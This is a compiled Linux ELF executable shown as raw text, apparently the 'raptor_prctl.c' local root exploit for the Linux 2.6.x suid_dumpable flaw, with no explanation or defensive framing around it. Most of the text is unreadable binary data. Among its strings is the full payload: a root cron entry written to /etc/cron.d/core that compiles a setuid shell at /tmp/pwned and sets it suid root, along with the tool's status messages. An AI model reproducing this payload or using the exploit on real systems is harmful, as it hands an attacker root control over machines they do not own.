ELF4!4 ("444^ ^ ` ``dl  /lib/ld-linux.so.2GNU   (#;Z{ H@ěm0&5@6"P[`GpLć0:u libc.so.6prctlsetrlimitsystemsleepfprintfkillchdirforkstderrexit_IO_stdin_used__libc_start_main__xstat__gmon_start__GLIBC_2.2GLIBC_2.0iiiiě   UK5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@1^PTRh@h4QVh@USP[8tЋ]ÐU=țu)hthҡhuțÉUtt hzÐUx)hh hY5ěv h EEEPjgOE}u9 hajjZ hz jj u jSEPhm;y h5ě j8h5ěh5ěE}{~kEPhy h5ěB j}u+h)5ě j}E덃}x~ h+5ě jlhH5ě h jraptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability%s %s /etc/cron.d/etc/cron.d/coreError: Not vulnerable? See comments. Ready to uncork the champagne? Please wait a couple of minutes;) /tmp/pwned Error: Check /tmp/pwned! . Timeout: Check /tmp/pwned! CAMPIONI DEL MONDO!  SHELL=/bin/sh PATH=/usr/bin:/usr/sbin:/sbin:/bin * * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c (hx X`Po oo&6FVfvGCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7), #$A ΃!_IO_stdin_used/<<#LSL(intyN Ly =MOLO>IS#NZ# ###!#"#. Y& W     a   h  n8 V  Bj#k#l#]m\# n#S\^p^v <?u#v#xS#-z# {#}'#8~B#X#j# 9S#$S#(S#,uS#0S#4]\#8 \$@|#|#wS#S# S#&p### di^|ijS\^^||\n'Sp^vSSByi-XSHj^ #C#]#L,42v#]3#,5 /v 4j ("i4#($ O%E#N(W)i*tD+(7,S- 23F9V:5  ED { ..,SX%.E]  . 6.-S.SSSe.Z.fbEs6EKSz5Hd+S  N&.OA ODq#!HK-ANHO^KX]a9S9?dPVkSk\ae|}vR57t8Sn9(o: ćS[/usr/src/build/322499-i386/BUILD/glibc-2.3.2-20030312/csuGNU AS 2.13.90.0.2[:/usr/src/build/322499-i386/BUILD/glibc-2.3.2-20030312/csuGNU AS 2.13.90.0.2%  : ; : ; I8 I!I/ $ > $ >  : ; : ; I  : ; (  : ; ' II I &I' < !I: ; I: ;I4: ; I?  %% init.c../sysdeps/generic/bits/types.h../wcsmbs/wchar.h../sysdeps/gnu/_G_config.h../iconv/gconv.h/usr/lib/gcc-lib/i386-redhat-linux/3.2/include/stddef.hm# /tmp/ccLMpyMg.s,W3,:,Wdd,,-:J# /tmp/ccqVElCh.s!:΃| _G_int32_t__time_t__GCONV_INCOMPLETE_INPUT__daddr_t__int32_t__gconv_init_fct_G_iconv_t__rlim64_t__GCONV_ILLEGAL_DESCRIPTOR__gconv_infoshort unsigned intunsigned char__useconds_t__counter__fct__val__value__nsteps_G_int16_t__max_needed_from__gconv_btowc_fct__off_t__ssize_t__statepinit.c__fsfilcnt_t__steps__fsfilcnt64_t__blkcnt_t__blksize_t_G_fpos64_t__gconv_t__trans_end_fct__u_int__GCONV_ILLEGAL_INPUT__gconv_loaded_object__to_name__uint64_t__id_t__GCONV_EMPTY_INPUT__cd__ino_t__GCONV_NOCONV__invocation_counter__pid_t__u_short__count__quad_t__u_long__fsid_t__GCONV_FULL_OUTPUT__max_needed_to__timer_t__stateful__uint32_t__key_t__u_char__gconv_step__shlib_handle__min_needed_toshort int__dev_tlong long int__gconv_trans_data__outbuflong long unsigned int__uid_t__wchb__uint16_twint_t__u_quad_t__gconv_trans_end_fct__flags__outbufend__combined__gconv_trans_init_fct__init_fct__modname__trans_context_fct__trans_fct__rlim_t__wch/usr/src/build/322499-i386/BUILD/glibc-2.3.2-20030312/csu__intptr_t__suseconds_t__ino64_twchar_t__GCONV_IS_LAST__blkcnt64_t__fsblkcnt64_t__mode_t__qaddr_t__pos__gconv_end_fct_IO_stdin_used__internal_use__GCONV_NODB__clock_t__gconv_step_data__gconv_trans_query_fct__socklen_t__int64_t__GCONV_NOMEM__off64_t__btowc_fct_G_fpos_t__int8_t__GCONV_OK__fsblkcnt_t_G_uint32_t__nlink_t__swblk_t__GCONV_INTERNAL_ERROR__mbstate_t__gid_t__clockid_t__state__gconv_trans_context_fct__next__GCONV_IGNORE_ERRORS__end_fct__trans__uint8_t__gconv_fct__from_name__min_needed_from__gconv_trans_fct__data__caddr_t_G_uint16_t__loff_tGNU C 3.2 20020903 (Red Hat Linux 8.0 3.2-7)__int16_t.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.data.eh_frame.dynamic.ctors.dtors.jcr.got.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_frame.debug_str# 1((P7 xx?hhGoTo  0c PPl ``X upЃ{ `` H   tt ||   <ě  2 XP%u  5 0 + '!6 ,(xh P`  Ѓ  `t|ě ! #.t<|J]jhnțz؄  #xt #Z*? FL% MdZ@  j{|  Hě0& @6P4  ě@ `` *08pHL%" MěTj̛oć~:`  init.cinitfini.ccall_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____EH_FRAME_BEGIN____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_aux2.6.13-17l2006.c_DYNAMIC_fp_hwfprintf@@GLIBC_2.0fork@@GLIBC_2.0setrlimit@@GLIBC_2.2pwnage__stat__dso_handle__libc_csu_finisystem@@GLIBC_2.0_initprctl@@GLIBC_2.0stderr@@GLIBC_2.0__xstat@@GLIBC_2.0_startchdir@@GLIBC_2.0sleep@@GLIBC_2.0__libc_csu_init__bss_startmain__libc_start_main@@GLIBC_2.0data_start_finipayloadexit@@GLIBC_2.0stat_edata_GLOBAL_OFFSET_TABLE__end_IO_stdin_usedkill@@GLIBC_2.0__data_start_Jv_RegisterClasses__gmon_start__